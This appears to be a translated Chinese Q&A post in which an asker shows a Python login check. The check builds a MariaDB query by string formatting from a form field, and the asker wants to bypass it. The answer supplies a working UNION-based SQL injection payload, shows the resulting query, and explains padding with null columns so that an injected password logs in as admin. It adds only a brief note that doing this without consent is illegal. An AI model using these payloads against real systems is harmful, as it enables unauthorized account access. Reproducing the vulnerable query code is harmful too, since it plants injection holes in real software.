如何利用在此Web服务器上发现的易受攻击的SQL语句

时间:2019-04-10 10:44:47

标签: sql webserver mariadb sql-injection penetration-testing

我刚刚遇到了一个非常简单但相当复杂的SQL查询,该查询在验证MariaDB中的用户名时执行。该声明有两个转义字符,我似乎无法解决。我一直在尝试不同的有效负载,但是它们似乎都不起作用。对于无效的语句,它将返回一个回溯调用错误,通知该错误。

我已经尝试过1'或'1'='1以及0的版本

python
    if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:

我想找到一种绕过此验证语句并授予我访问权限的方法。

1 个答案:

答案 0 :(得分:0)

请记住,在您不拥有/未获得所有者同意的网站上进行此类行为是非法的。

尝试使用and Union输入:

' and 1=2 UNION SELECT 'anypass' --

如果我正确理解了您的问题,就会产生以下查询:

SELECT password FROM admins WHERE username='' and 1=2 UNION SELECT 'anypass' --

Union运算符需要相同的列数,如果遇到该类型的错误,请尝试以下操作:

' and 1=2 UNION SELECT 'anypass', null --

添加空列,直到不再出错为止。

然后,您只需在密码字段中输入“ anypass”即可。